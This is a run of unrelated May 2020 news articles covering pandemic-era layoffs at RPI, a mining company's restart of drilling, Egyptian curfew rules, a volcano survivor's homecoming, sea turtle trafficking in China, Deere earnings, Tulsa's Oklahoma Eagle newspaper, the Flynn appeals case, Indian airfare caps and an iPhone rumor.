In light of anticipated declines in student enrollment, and in collaboration with academic leaders and faculty members, we have made the difficult decision to not renew some contingent faculty contracts," RPI spokesperson Richie C.Hunter said. "Academic Deans have formally notified the affected faculty, and we thank all of them for their service to Rensselaer.

The decision was a surprise to some faculty members, who said only furloughs, not layoffs, were part of ongoing discussions about managing the COVID-19 fiscal crisis.

School officials at a May 18 town hall were asked about layoffs and assured workers that the furloughs were temporary and that all benefits would be maintained and even enhanced with telemedicine options.

"The staff that has been furloughed, they are critical to what we do here. Furlough means they have been temporarily suspended," Curtis N. Powell, vice president of human resources said. "We have preserved their benefits and many were kept financially whole as a result of the New York State unemployment benefit and the Federal Cares Act that will supplement those benefits."

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Colleges and universities throughout the Capital Region saw an immediate multi-million-dollar blow this spring, attributed to lost room-and-board revenue when the coronavirus pandemic forced campuses to close and instruction to shift online.

Now schools are reckoning with lower-than-projected student enrollments for the coming academic year.

The university is also facing legal action from students who say they were unfairly charged full tuition for distance learning and required to attend and pay tuition for a virtual summer "Arch" semester, despite missing out on the on-campus activities promoted by the campus.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

According to RPI's 2018 tax filing, the most recent available, the college had $591,700,082 in revenues and total assets worth over $1.5 billion, the lawsuit notes.

The Troy institute has taken a number of cost-saving steps to address losses associated with the campus closure. Executive employees, including President Shirley Ann Jackson, have agreed to a 5 percent pay cut for one year. RPI has also frozen hiring and pay raises, canceled sabbatical leaves, and research stipends. It has furloughed nearly 300 employees, most of them non-instructional staff.

Jackson's seven-figure salary, which tops the pay of nearly every college president in the U.S., has been a sore point for critics of the administration. Jackson earned more than $5 million in 2017, according to tax documents.

Powell said at the May 18 meeting that 75 percent of RPI's operating budget is attributed to employee salaries.

RPI, which serves nearly 8,000 students, has received $4.8 million in relief aid from the federal CARES Act, with half of those funds required to go directly to students in the form of grants.
Vizsla returns to site to restart exploration and drilling at Panuco silver project, Mexico

Posted by Publisher Internet

Vizsla Resources Corp. (TSX-V: VZLA) (OTCQB: VIZSF) (Frankfurt: 0G3) (?Vizsla? or the ?Company?  https://www.commodity-tv.com/play/vizsla-resources-consolidating-silver-district-in-mexico-fast-track-to-production/ ) is pleased to announce the Company has remobilized exploration staff to the Panuco project to restart exploration and recommence the Company?s maiden 14,500 metre drill program.? Exploration was halted in response to the Mexican federal government\-\-s mandate that all non-essential businesses temporarily suspend operations due to the COVID-19 pandemic.

CEO Michael Konnert stated ?Vizsla is excited to get back to safely restarting our exploration program and test beneath the high-grade results sampled on the Cordon del Oro and Napoleon veins. With the exploration period of the Company?s options on the project extended into 2022 and new high-grade targets for drilling, Vizsla is in the best shape yet to capitalize on the underexplored district opportunity at the Panuco project.?

Vizsla has updated and expanded its COVID-19 health and safety protocols to incorporate the Ministry of Health recommendations and is working with its contractors and the local community to meet mandated guidelines and reporting protocols required for work to restart.? The Company will initially restart with a small crew and a single drill rig and undertake a phased ramp up to include mapping teams and a second drill rig in June should conditions remain safe to do so.

Vizsla has tested only five of the initially identified twenty targets and will continue with two drill rigs to ensure the remaining 10,861 metres of planned drilling is completed in the 2020 calendar year.

About the Panuco project

Vizsla has an option to acquire 100% of the newly consolidated 9,386.5 Ha Panuco district in southern Sinaloa, Mexico, near the city of Mazatlan. The option allows for the acquisition of over 75 km of total vein extent, a 500 tpd mill, 35 kms of underground mines, tailings facilities, roads, power and permits.

The district contains intermediate to low sulfidation epithermal silver and gold deposits related to siliceous volcanism and crustal extension in the Oligocene and Miocene. Host rocks are mainly continental volcanic rocks correlated to the Tarahumara Formation.

Contact Information: For more information and to sign-up to the mailing list, please contact:

Michael Konnert, President and Chief Executive Officer

Tel: (604) 838-4327

Email: michael@vizslaresources.com

In Europe:

Swiss Resource Capital AG

Jochen Staiger

info@resource-capital.ch

www.resource-capital.ch

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

SPECIAL NOTE REGARDING FORWARD LOOKING STATEMENTS

This news release includes certain ?Forward?Looking Statements? within the meaning of the United States Private Securities Litigation Reform Act of 1995 and ?forward?looking information? under applicable Canadian securities laws. When used in this news release, the words ?anticipate?, ?believe?, ?estimate?, ?expect?, ?target?, ?plan?, ?forecast?, ?may?, ?would?, ?could?, ?schedule? and similar words or expressions, identify forward?looking statements or information. These forward?looking statements or information relate to, among other things: the development of Panuco, including potential drill targets; future mineral exploration including restarting and recommencing exploration programs, development and production including the identification of drill targets and commencement of drilling; and completion of a maiden drilling program.

Forward?looking statements and forward?looking information relating to any future mineral production, liquidity, enhanced value and capital markets profile of Vizsla, future growth potential for Vizsla and its business, and future exploration plans are based on management?s reasonable assumptions, estimates, expectations, analyses and opinions, which are based on management?s experience and perception of trends, current conditions and expected developments, and other factors that management believes are relevant and reasonable in the circumstances, but which may prove to be incorrect. Assumptions have been made regarding, among other things, the price of silver, gold and other metals; costs of exploration and development; the estimated costs of development of exploration projects; Vizsla?s ability to operate in a safe and effective manner and its ability to obtain financing on reasonable terms.

These statements reflect Vizsla?s respective current views with respect to future events and are necessarily based upon a number of other assumptions and estimates that, while considered reasonable by management, are inherently subject to significant business, economic, competitive, political and social uncertainties and contingencies. Many factors, both known and unknown, could cause actual results, performance or achievements to be materially different from the results, performance or achievements that are or may be expressed or implied by such forward?looking statements or forward-looking information and Vizsla has made assumptions and estimates based on or related to many of these factors. Such factors include, without limitation: the Company?s dependence on one mineral project; precious metals price volatility; risks associated with the conduct of the Company?s mining activities in Mexico; regulatory, consent or permitting delays; risks relating to reliance on the Company?s management team and outside contractors; risks regarding mineral resources and reserves; the Company?s inability to obtain insurance to cover all risks, on a commercially reasonable basis or at all; currency fluctuations; risks regarding the failure to generate sufficient cash flow from operations; risks relating to project financing and equity issuances; risks and unknowns inherent in all mining projects, including the inaccuracy of reserves and resources, metallurgical recoveries and capital and operating costs of such projects; contests over title to properties, particularly title to undeveloped properties; laws and regulations governing the environment, health and safety; the ability of the communities in which the Company operates to manage and cope with the implications of COVID-19; the economic and financial implications of COVID-19 to the Company; operating or technical difficulties in connection with mining or development activities; employee relations, labour unrest or unavailability; the Company?s interactions with surrounding communities and artisanal miners; the Company?s ability to successfully integrate acquired assets; the speculative nature of exploration and development, including the risks of diminishing quantities or grades of reserves; stock market volatility; conflicts of interest among certain directors and officers; lack of liquidity for shareholders of the Company; litigation risk; and the factors identified under the caption ?Risk Factors? in Vizsla?s management discussion and analysis. Readers are cautioned against attributing undue certainty to forward?looking statements or forward-looking information. Although Vizsla has attempted to identify important factors that could cause actual results to differ materially, there may be other factors that cause results not to be anticipated, estimated or intended. Vizsla does not intend, and does not assume any obligation, to update these forward?looking statements or forward-looking information to reflect changes in assumptions or changes in circumstances or any other events affecting such statements or information, other than as required by applicable law.
The Egyptian police have said they will prohibit parking on any corniche roads nationwide from the start of curfew on Saturday, the last day of Ramadan.



In a statement on Friday, the interior ministry said that any vehicle stationed on corniche roads nationwide will be impounded for violating a decree on the shutdown of these roads and a ban on parking in the designated roads.



The decision will be applied until 6am on Saturday 30 May.



Egypt has said it will impose stricter coronavirus prevention measures during the Eid religious holiday, including extending the curfew hours to start at 5pm instead of 9pm, and partially suspending public transportation.



Only microbuses are allowed to operate normally in cities and between governorates before the curfew hours.



All shops, malls, beaches and parks will be completely shut during the Eid period, Prime Minister Mostafa Madbouly said earlier this week.



Travel between governorates will also be suspended, the premier announced.



The 5pm curfew will last from Sunday, expected to be the first day of Eid, until Friday. The curfew will then start at 8pm for a period of two weeks, during which time some public facilities and commercial ventures, including hotels, will re-open under new safety regulations.



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An Australian woman who survived the White Island volcano eruption that took the lives of her sister and father has finally returned home after spending six months in hospital.

Stephanie Browitt, 23, arrived back at her family home in Craigieburn, just north of Melbourne, on Friday.

The eruption - which happened off the coast of Whakatane on New Zealand's North Island on December 9 - left Ms Browitt with third-degree burns to 70 per cent of her body and parts of her fingers missing.

The disaster took the life of her 21-year-old sister, Krystal, and later her father Paul, who died in hospital.

Ms Browitt, wrapped in a pressure suit and a full-face mask to protect her burns, embraced her mother Marie who spent months waiting for her now only child to come home.

Stephanie Browitt, 23, is seen hugging her mother Marie as she returns home after spending six months recovering in hospital from the White Island volcano eruption

Ms Browitt has to wear a protective suit on her skin after suffering third degree burns to 70 per cent of her body

She was surrounded by friends and relatives but due to the fragility of her skin, Ms Browitt could only manage a hug from her mum.

Upon her return home, her mother said she felt her husband and late daughter were watching over 'like angels'.

'I'm just so grateful for the generosity of people and for the kindness of our community  and feel very humble,' Mrs Browitt told The Herald Sun.

'I was surrounded by beautiful people today.'

The Browitt family had been on the Ovation of the Seas cruise when the two girls along with their father decided to do the White Island tour - while their mother stayed on board.

Sharing a photo of the volcano on the day it erupted, Ms Browitt detailed how her life had been 'forever changed'.

Stephanie (left with sister Krystal right) tragically lost her sister in the disaster and her father Paul

The 23-year-old returned home for the day last Friday but is now home for good

'We were heading back off the volcano, when at 2.11pm we looked back and saw ash coming out. Not thinking much of it dad said to take a picture,' she wrote on Instagram in March.

'The front tour guide heard us, looked back, and screamed 'RUN'.

'BANG. The WORST moment of my life. It was because of this I lost half of my family.

'It was because of this I still do suffer physically and emotionally.

'Because of this these photos are no longer good memories, they literally torture me.

'It's done and I can't change it now, but I can change how I choose to move forward. I know people hear this often, but please... keep your loved ones close and always remind them how loved they are.'

Her father and sister were one of 21 people who died and Ms Browitt spent time in a coma recovering from her severe injuries.

The 23-year-old previously told the ABC they only found out the volcano was at a level two alert when they were on the island.

A photo taken by Ms Browitt's sister shows the volcano just moments before it erupted on December 9

Level two is the highest level a volcano can be before it erupts.

'Once you're on the island, you can't get back off,' she said.

'I was a little concerned  but at the same time you sort of have trust that we wouldn't be on here, they wouldn't be running tours if they thought it was dangerous.'

It was an hour before help arrived as Ms Browitt lay on the ground worried she may not make it out alive.

Ms Browitt's mother Marie helps her return home to a crowd of supporting friends and relatives

'I remember thinking, 'I need to slow down my breathing or I'm not going to make it'.

When a helicopter crew finally arrived, her father heroically told them to take his daughter back to the mainland first.

A month later he tragically died.

Ms Browitt was able to return home for the day last week.

'Today couldnt have been any better and it felt amazing to be back in my home even if it was just for a day,' she wrote last Friday.

Now six months after the tragedy she is finally home for good.

Friends and family rallied behind the Browitt family, creating a GoFundMe page to pay for medical expenses.

The fundraiser has so far raised an incredible $83,000.
A Chinese wildlife trafficker has been jailed after being caught by police transporting 107 protected sea turtles with his refrigerated truck.

The resident, known by his surname Shen, was tracked down by police after the officers seized found his lorry packed with frozen turtles in the woods in Zhoushan city, Zhejiang province of eastern China.

Mr Shen was sentenced to nearly 13 years in prison and handed a fine of 150,000 yuan (17,287). Two other residents who sold four of the sea turtles to Mr Shen were also imprisoned.

The picture is believed to have shown the wild animal trader, Shen, standing next to the turtles with another resident who was caught selling four of the animals to Shen on October 18, 2018

The crime case took place in 2018 and was revealed this week by a local court in Zhejiang to warn the public against wild animal trafficking.

Six civil cases were brought to light by the provincial authorities in a social media post on Tuesday in the hope of 'raising public awareness of environment protection and public health safety'.

It comes as China has cracked down the consumption and trade of wildlife in the country amid the coronavirus pandemic which is believed to be caused by the eating of wild animals.

On October 18, 2018, Zhoushan police found a truck loaded with 107 frozen sea turtles after spotting the suspicious lorry hidden in the woods by a sideroad, the post said.

The authorities soon arrested Mr Shen, whose name was registered under the vehicle's license plate.

Another wildlife trafficker, known by his surname Liu, sold four of the protected animals to Mr Shen earlier that day after purchasing them at a nearby harbour.

The four turtles were then delivered to Mr Shen by Mr Liu's associate, known by his surname Jiang. Both Liu and Mr Jiang were arrested by police following the incident.

Sea turtles are recognised as second-class protected wild animals under Chinese laws. Officials said that the frozen turtles were estimated to be worth a total of over three million yuan (345,732).

Sea turtles are recognised as second-class protected wild animals under Chinese laws. Officials said that the 107 frozen sea turtles were estimated to be worth a total of over three million yuan (345,732). The file picture taken on February 27 shows a sea turtle swimming in a tank at the Sea Turtle Recovery hospital inside the Turtle Back Zoo in New Jersey

The three wildlife traffickers were charged with the offences of illegal acquisition, transportation, sale of precious and endangered wildlife, the court said.

Mr Shen was given a fine of 150,000 yuan (17,287) and a sentence of 12 years and seven months.

Mr Jiang was prosecuted with a jail sentence of five years and eight months. He also received a fine of 40,000 yuan (4,610). Mr Liu was handed a sentence of a year and two months with a fine of 20,000 yuan (2,305), local media reported.

The case from 2018 was brought to the public's attention once again after the provincial court published an online article Tuesday.

The authorities also included a total of six civil cases  all involving illegal wildlife trade  in the social media post to 'raise public awareness of environment protection and public health safety'.

It comes as Chinese officials have pledged to tackle the consumption and trade of wildlife as the coronavirus sweeps across the globe.

Experts said that the virus had likely jumped onto humans from wild animals sold as food at a wet market in Wuhan. In the file photo taken on January 5, 2004, workers collect civets in Xinyuan wildlife market to prevent a possible spread of SARS in Guangzhou

Chinese officials have pledged to tackle the consumption and trade of wildlife as the coronavirus sweeps across the globe. Pictured, an elderly woman removes a mask to smell the meat before buying it on Xihua Farmer's Market in Guangzhou, China on May 4

Wuhan government yesterday released a new directive banning the consumption of wildlife, including those bred by farms.

Provinces across China have also promised buyout schemes or other financial aid to help wildlife breeders turn to other trades.

China's top legislative committee passed new legislation to temporarily ban all trade and consumption of wild animals on February 24 after the country was rocked by the deadly disease.

But Beijing is yet to revise its wild animal protection law.
Deere & Company (NYSE:DE) announced earnings today, reporting fiscal second-quarter net income of $2.11 per share, beating analysts expectations of $1.72 per share. The big earnings beat came with new guidance, however. The company expects a 45% decline in net income for the full year compared to last year.

Deere chairman and CEO John May, said the company's focus has been to operate safely and protect the health and well-being of its employees through the COVID pandemic, while also satisfying customer requirements. While the company continued to operate to fulfill customer needs as an essential business, its factory in Moline, Illinois also began producing a planned 225,000 face shields to be distributed to healthcare workers in communities where Deere operates.

While second-quarter sales also came in ahead of estimates, they were 18% below year ago levels. Hardest hit was Deere's construction and forestry segment, where year-over-year sales decreased 25% and operating profit declined 72%.

The company sees sales of its agricultural division down 10% to 15% for fiscal 2020, while sales for construction are forecast to decline 30% to 40%. The other area with significant negative impacts is the finance group. John Deere Capital Corporation (JDCC) saw net income drop 69% in this recent quarter. The capital arm has been hit by "a higher provision for credit losses, unfavorable financing spreads, and increased losses and impairments on lease residual values," the company said.
Oklahoma Eagle Publisher Jim Goodwin with his West Highland white terrier, Annie, at the paper's offices. (Ian Maule / For The Times)

Jim Goodwin ran his thumb over the screen of his iPhone, reading a rough draft of a newspaper editorial.

In 300 words, the author recounted one of the worst acts of racial violence in American history and offered a stark suggestion to Tulsa officials as the 100th anniversary of the massacre approaches: Dont get so caught up in meeting the centenary deadline that you botch plans for a museum that at long last will properly address the atrocity.

Goodwin  the publisher of the Oklahoma Eagle, the citys black-owned weekly newspaper  nodded as he read the draft.

"I wish we had used 'Shame on Tulsa somewhere in the piece, said Goodwin, 80. But this is good.

Every Thursday for decades  through editorials, news stories and photos  the Eagle has forced the city to confront its violent past.

The Oklahoma Eagle's 50th anniversary edition remembered the 1921 Tulsa Race Massacre. (Ian Maule / For The Times)

Here in Tulsa, the echoes of Jim Crow continue to haunt, and in some ways shape, the city. For Goodwin and many other African Americans who grew up here, the reminders are everywhere. Walk through the Greenwood neighborhood, Goodwin says, and you can't miss the metal plaques on sidewalks commemorating the hundreds of black-owned businesses set ablaze during the 1921 Tulsa Race Massacre.

For 18 hours beginning the night of May 31, white mobs raced through Greenwood  known as Black Wall Street for its thriving African American-owned businesses  tossing Molotov cocktails, torching churches and hospitals, leaving nearly 300 black people dead and forcing thousands to flee.

A man looks over the remains of buildings after the attack on Tulsa's Greenwood neighborhood in 1921. From the ashes of the Tulsa Star rose the Oklahoma Eagle. (Oklahoma Historical Society)

As so often back then, the violence was sparked by a rumor that a black man had tried to sexually assault a white woman. It was false. And as so often, there were few white casualties and no prosecutions, let alone arrests.

Some black families whose kin were killed never learned where the bodies were buried. And for nearly a century, public schools in Oklahoma glossed over the massacre.

Only in February did the state Department of Education craft an elementary through high school curriculum to address the violence.

Story continues

The excavation of a possible mass grave, one of several tied to the massacre, was to begin in April, before the 99th anniversary May 31, but has been delayed because of the pandemic.

Next year for the centennial, Tulsa officials are planning a series of speeches, theatrical performances and a ribbon-cutting for the museum that Goodwin's paper had expressed concern about.

"Tulsa is my home and I love it, but its a place that has a lot of history its never truly addressed, Goodwin said. We have strived to have the paper be the conscience of Tulsa.

The headline from a yellowing June 1971 edition of the Eagle, tucked in Goodwin's office drawer, screams in red ink: "IT HAPPENED.

It wasnt until that year, the 50th anniversary of the slaughter, that one of the city's now-defunct white-owned newspapers finally acknowledged the tragedy in print, historians say. Inside Oklahoma and beyond, many people were or are still unaware of the bloodshed, Goodwin said.

Then he paused.

"Perhaps they knew, but just didnt want to talk about it, he said. Its an ugly history.

After the Civil War, as blacks fled the Deep South, Tulsa beckoned as a center of economic opportunity, the onetime oil capital of the world tucked along the murky banks of the Arkansas River. Buoyed by the lure of steady wages in domestic work that resulted from the booming oil industry, many settled in Greenwood, a segregated African American neighborhood.

A shop in Greenwood today pays tribute to the neighborhood's glory days before the massacre. (Ian Maule / For The Times)

Because blacks weren't allowed to shop in white areas, much of the money remained in the black community. When the educator Booker T. Washington traveled here in the early 1900s, he referred to Greenwood as "Negro Wall Street."

Among the grocery stores, barbershops, shoe shine parlors and garment stores was the Tulsa Star, the city's first black-owned newspaper. It became the voice of Greenwood  the voice of black Tulsa.

It printed wedding announcements and death notices and, unlike white-owned papers, ran them with photographs of black Tulsans. It covered graduations and anniversaries, as well as the tragedies and despair of everyday life.

Like so many black-run businesses in Tulsa, the Star's offices burned to the ground in the massacre. And like many black people who survived, the newspaper's owner headed north.

From the ashes rose the Eagle. The paper, started by a surviving black businessman, was initially published on the salvaged printing press of the Star.

Goodwins father, E.L. Goodwin, who owned a shoeshine parlor and rented out properties in Greenwood, bought the paper in 1936. He had a love for the news business dating back to when his own father worked at the Star.

Paintings of Jim Goodwin's mother and father, Jeanne and E.L. Goodwin, hang in the Oklahoma Eagle's lobby. (Ian Maule / For The Times)

"My dad was always for standing up for others  fight for underdogs, Goodwin said. Fight for black Tulsans.

The massacre erupted on what was to have been his dad's prom night. He knew many families with relatives who died or lost everything. E.L. Goodwin wanted to make sure that his paper would never let Tulsa forget this history. He never wanted his eight children to forget.

As a boy, Jim Goodwin, who lost his right arm at a young age in a horseback riding accident, cleaned the press weekly, running a rag over the metal plates to clear them of ink. His dad paid him 30 cents  enough for a trip to the movies.

When he got older, he came to appreciate just how much the news  blotted onto papers by the press he had cleaned  helped people remember. It reminded them of their loved ones and all they had lost.

E.L. Goodwin ran the newspaper for nearly 40 years until his retirement in the 1970s. By then, Jim Goodwin, one of three black graduates of Notre Dame in 1961, had moved back home to attend law school and start his own practice.

His work centered on civil rights and social justice, and although he represented people from across the city, he often found himself in Greenwood. He had little time to help with the paper, so E.L. turned to his youngest son, Bob, who was studying theology in San Francisco.

Jim Goodwin with son Jerry Goodwin. All of Jim's five children worked for the newspaper at some point. (Ian Maule / For The Times)

"Come home or Im going to give the paper away, Bob Goodwin recalled his father telling him.

Bob agreed to return and run the 20,000-circulation paper. He supervised four full-time reporters, three advertising salespeople, eight production staffers and four carriers. Their mission, Bob said, was to serve the black community.

The paper provided a voice to the voiceless and was more than hyperbole, Bob, 71, said proudly.

Up until the early 2000s, black newspapers flourished in major American cities. There was the Chicago Defender, the New York Amsterdam News, the Pittsburgh Courier, the Los Angeles Sentinel. But circulation fell as white media organizations sought to serve wider audiences and urban black radio flourished. Even more competition came from TV news.

As Bob reflected on that era, he thought of something hed heard Jesse Jackson say: When white folks get a cold, black folks get pneumonia.

"Its the same with black media, Bob said. As papers started to decline, black media caught pneumonia.

The papers, like local news around the country, are still struggling to hang on; others, such as the Courier, have shuttered.

"Tulsa is my home and I love it, but it's a place that has a lot of history it's never truly addressed," says Jim Goodwin. (Ian Maule / For The Times)

After running the Eagle for a decade, Bob handed it over to Jim and their oldest brother, Ed Jr.

"Its been running me ever since, Jim Goodwin said with a grin in his wood-paneled office. Annie, his West Highland white terrier, curled up in a leather chair nearby.

In the early 1980s the paper moved into its current location in Greenwood and Goodwin juggled his responsibilities at the Eagle with his law practice. He was still basking in a career-defining moment, when he won a Supreme Court case involving a local Black Panther and free speech in the early 1970s.

"In a lot of ways, Ive always had two jobs, said Goodwin, whose five children have all worked at the paper in some capacity over the years. His workload increased when Ed Jr. died in 2014.

At the Eagle, a single-level brick building that used to house an auto garage, Goodwins office is adorned with mementos from his years as publisher. There are pictures of his parents, who met at Fisk University, a historically black university in Tennessee, and framed photos with Gordon Parks and Muhammad Ali, who both made a point of dropping by the paper.

Scott Ellsworth, a professor of African American history at the University of Michigan who has written extensively about the massacre, said the two white papers in town  the Tulsa World and the now-defunct Tulsa Tribune  mostly ignored it. The Tribune, Ellsworth noted, didnt publish a single article about the massacre until 1971.

"The bottom line is that for half a century, the white newspapers of Tulsa intentionally kept the massacre buried, he said.

But not the Eagle.

On anniversaries, the paper would run editorials calling on lawmakers to remember. In news stories, the paper would sometimes note whether a person was a descendant of a massacre victim.

The Oklahoma Eagle offices in Tulsa. The paper was purchased by the Goodwin family in 1936. (Ian Maule / For The Times)

"The newspaper was a pillar and kept the community together, recalled Washington Rucker, who grew up in Tulsa.

In the late 1940s, when Rucker was 9, he sold the paper every week, making 2 cents on each 5-cent copy.

"We would grab it fresh off the presses, said Rucker, a musician who has traveled the world and now lives in Los Angeles. As a boy, he said, conversations about the riots happened in hushed and pained tones.

Don Ross  a longtime state representative whose constituencies included Greenwood  began his career at the Eagle. Ed Goodwin Jr., an editor at the time, was unable to attend civil rights meetings or demonstrations on Wednesdays and still help get the paper out, so he hired Ross to write about the gatherings. It was the 1960s, and Ross made $15 a week.

"I had no clue what I was doing in terms of journalism, but grew into it, said Ross, who later worked as a reporter for the Post-Tribune in Gary, Ind. He returned to the Eagle in 1977, serving as its top editor for a year before successfully running for the seat he held for 20 years.

"I owe my career in politics and in journalism, he said, to the Oklahoma Eagle.

In the 1990s, the struggles of the black press came to Tulsa and the Eagle filed for bankruptcy. But Goodwin and his siblings heard their fathers voice in their minds: Keep the paper in the family. Never let it go.

Goodwin is relieved that the paper is still around at the moment to capture a changing Tulsa, primarily with freelance writers.

Today, the Greenwood neighborhood buzzes with cranes and backhoes  a reminder of the forces of gentrification at play in the city. Tulsa has come a long way, Goodwin says, but theres still so far to go.

Why, he wonders, does Martin Luther King Jr. Boulevard end at Archer Street  the old dividing line between whites and blacks  and turn into Cincinnati Avenue? Then he looks out his office window at the overpass for Interstate 244, which cuts through the heart of this historically black neighborhood.

Its injustice  there is a blindness in the city," he said.

One afternoon earlier this year, Goodwin was joined inside his office by Tiffany Crutcher, a local activist whose twin brother, Terence, was shot to death four years ago by a white police officer. The case made national headlines  yet another unarmed black man killed by police  and the officer was found not guilty of manslaughter.

"What happened to my brother was a modern-day massacre, Crutcher said.

Goodwin nodded along as he took a sip of ice water.

"There has never been reparations, Crutcher said of the massacre, adding that a group she started recently in honor of her slain brother helped renovate the home of a 105-year old woman who survived the violence. If we dont take care of each other, who will?
General Michael Flynn, former National Security Advisor to President Donald Trump, departs the E. Barrett Prettyman United States Courthouse following a pre-sentencing hearing on July 10, 2018. (Aaron P. Bernstein/Getty Images)

Appeals Court Order in Flynn Case Rare, Most Serious, Lawyers Say

The District of Columbia appeals court picked the strongest option to react to a district court judge who has for weeks refused to grant the Justice Departments motion to dismiss the case against former Trump adviser Lt. Gen. Michael Flynn.

The court ordered the judge on May 21 to respond within 10 daysa particularly rare move, according to several lawyers whove commented on the matter.

The court chose the most extreme, rare, and drastic of the options it had available, said appellate attorney John Reeves, former assistant Missouri attorney general, in a May 21 series of tweets.

This is extraordinary, commented Leslie McAdoo Gordon, an attorney specializing in security and disciplinary cases. In her practice, shes never seen an appeals court directly order a judge to respond, she said in a May 21 tweet.

Reeves was only able to find two other casesone in 2009 and the other in 1992.

There are most likely more than just those two, but the point is that it is still incredibly rare, he told The Epoch Times via email.

Flynn, a former head of the Defense Intelligence Agency and former national security adviser to President Donald Trump, pleaded guilty in 2017 to one count of lying during an FBI interview. In January, the retired Army three-star general disavowed the plea and asked the court to allow him to withdraw it.

The Department of Justice (DOJ) moved to drop Flynns case on May 7, saying the FBI interview wasnt based on a properly predicated investigation and seems to have been undertaken only to elicit those very false statements and thereby criminalize Mr. Flynn.

The district judge handling his case, Emmet Sullivan, has so far refused to affirm the dismissal and has instead laid out a schedule that would prolong the case for possibly months to come. Hes appointed former federal Judge John Gleeson as an amicus curiae (Friend of Court) to present arguments in opposition to the governments Motion to Dismiss, as well as to address whether the court should make the defense explain why Flynn should not be held in criminal contempt for perjury.

Hes also signaled he may allow more amici to join the case.

Flynns lawyers, led by former Texas prosecutor Sidney Powell, filed on May 19 a petition for a writ of mandamusa request to the higher court to order Sullivan to accept the case dismissal, cancel the Gleeson appointment, and assign the case to another judge.

In Reeves view, Powell has a strong argument for all three of her requests.

The appeals courts reaction shows it is deeply troubled by Judge Sullivans actions, he said.

He explained that most writ petitions are denied right away. The fact that the court wants a response shows it is concerned and wants to hear more about the matter, he said.

In such situations, the Appeals Court has three options. The first and most common one is to appoint an amicus curiae who would present an argument on behalf of the judge. The second option is to invite the judge to address the petition personally.

The most serious option is to order the judge to respond.

That means that the judge (and his clerks) will have to personally submit written briefing trying to legally justify his refusal to dismiss the Flynn case, Reeves said.

Moreover, the order included a reference to a 2016 case where the court ruled that a judge has only a narrow role when prosecutors send him a motion to dismiss a case.

Decisions to dismiss pending criminal chargesno less than decisions to initiate charges and to identify which charges to bringlie squarely within the ken of prosecutorial discretion, the ruling stated.

Thats not subtle, commented McAdoo Gordon. It means: What are you doing in light of this case?

The case is being handled at the appeals court by a three-judge panel of Karen Henderson, a G. W. Bush appointee; Robert Wilkins, an Obama appointee; and Neomi Rao, a Trump appointee. There was no dissent on the order.

Sullivans reference to contempt for perjury likely refers to Flynns reiterating his guilty plea before the judge in 2018. Flynn said he only did so because his lawyers urged him to and because he was coerced into making the plea by the prosecutors threat to charge his son.

The plea is legally irrelevant to the case dismissal, according to Powell, because the DOJ based its decision on a lack of materiality, meaning impactfulness of what Flynn said to a legitimate FBI investigation.

It was the governments jobnot Flynnsto vouch for materiality, so his plea has no bearing on it, she affirmed.

As the appeals court for the 9th circuit noted in 2009, it is well established that the government may move to dismiss even after a complaint has turned into a conviction because of a guilty plea.

This is not a new principle in our legal system, and among honest attorneys, judges, and legal scholars, it is not subject to any serious debate, Reeves said.

He went on to note that, at the end of the day, when all of the politics and emotion are put aside, this is not a very complicated matter.

Putting aside Judge Sullivans unusual actions in refusing to rule on the motion to dismiss and instead ordering amicus briefing, the DOJs motion to dismiss does not actually break any new legal ground in its reasoning, he said.

Update: The article has been updated with further comments from John Reeves.
The coronavirus pandemic has turned the Indian aviation industry upside down as no scheduled commercial flight has operated in last 60 days now. However, with government announcing resumption of flight services from May 25, airlines are gearing up to restart bookings once again.

While the Bureau of Civil Aviation Security earlier proposed airlines shouldn't be allowed to sell the middle seats to adhere social distancing, Civil Aviation Minister has denied taking any such decision as it will both commercially unviable and not feasible to implement.

Minister Puri, however, announced the flight resumption will take place with limited capacity utilization of the summer schedule of the airlines. This essentially means only one-third of the total flights will allowed as against the air carriers' actual schedule.

This will result in cost stress on airlines, which, airlines can levy from passengers. In order to control the pricing, govt has capped the minimum and maximum price that airlines can charge from flyers, basis flight duration.

The pricing has been decided basis the flight duration, which is divided into 7 sections. The pricing is applicable from May 25 to August 24, however the number of flights can be increased eventually given the response from flyers.

Here's the minimum and maximum flight prices as decided by the govt:

Less than 40 min: Minimum Rs 2000 and Maximum Rs 6000

40-60 min: Minimum Rs 2500 and Maximum Rs 7500

60-90 min: Minimum Rs 3000 and Maximum Rs 9000

90-120 min: Minimum Rs 3500 and Maximum Rs 10000

120-150 min: Minimum Rs 4500 and Maximum Rs 13000

150-180 min: Minimum Rs 5500 and Maximum Rs 15700

180-210 min: Minimum Rs 6500 and Maximum Rs 18600

These prices are for economy class and exclusive of UDF, PSF and GST. Govt has also instructed the airlines to book at least 40 percent ticket under the mean average price of selected category.

On the busiest route like Delhi-Mumbai sector, pricing will be capped from Rs 3,500 to Rs 10,000. This pricing will be applicable from May 25 to August 24. To check that airlines are not selling tickets at higher price, 40 percent of the tickets will be sold below the mean average of Rs 3,500- Rs 10,000 price capping.
Apples iPhone 12 could be completely wireless, meaning users will not receive a free pair of earbuds and be forced to purchase the firms $159 AirPods.

The news was revealed by well-known Apple product predictor Ming-Chi Kuo, who believes the tech giant may offer promotions or discounts on the AirPods this holiday season.

Kuo also noted that Apple is not expected to release new models of AirPods or AirPods Pro until 2021, 9to5Mac reports.

Apple has steadily unveiled the new iPhone models in September for years, but numerous reports suggest users may have to wait until November to get their hands on one  the firm experienced delays due to the coronavirus pandemic that closed its factories in China earlier this year.

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Apples iPhone 12 could be completely wireless, meaning users will not receive a free pair of earbuds and be forced to purchase the firms $159 AirPods

The prediction that Apple is moving away from wired earbuds does not specify what promotions of discounts iOS users could see when the iPhone 12 is released, but the AirPods start at $159 and the AirPods Pro is available for $249.

Daily Mail has reached out to Apple for comment and has yet to receive a response.

The iconic wired headphones have accompanied the smartphone since Apple released the iPhone in June 2007.

Although the Kuo report is only a prediction, he is known for getting it right when the new iPhone is officially revealed.

However, users might have to wait two extra months to find out if he is correct.

The news was revealed by well-known Apple product predictor Ming-Chi Kuo, who believes the tech giant may offer promotions or discounts on the AirPods this holiday season

Citing 'people familiar with the plans,' The Wall Street Journal revealed that Apple is reportedly pushing back the production of its flagship 2020 iPhones by about a month.

The sources also noted that the firm is set to release four new smartphones this year.

The devices are said to come in three different sizes, one will be 5.4 inches, two at 6.1 inches and another model is 6.7 inches  and some of the handsets will support 5G.

Apple has steadily unveiled the new iPhone models in September for years.

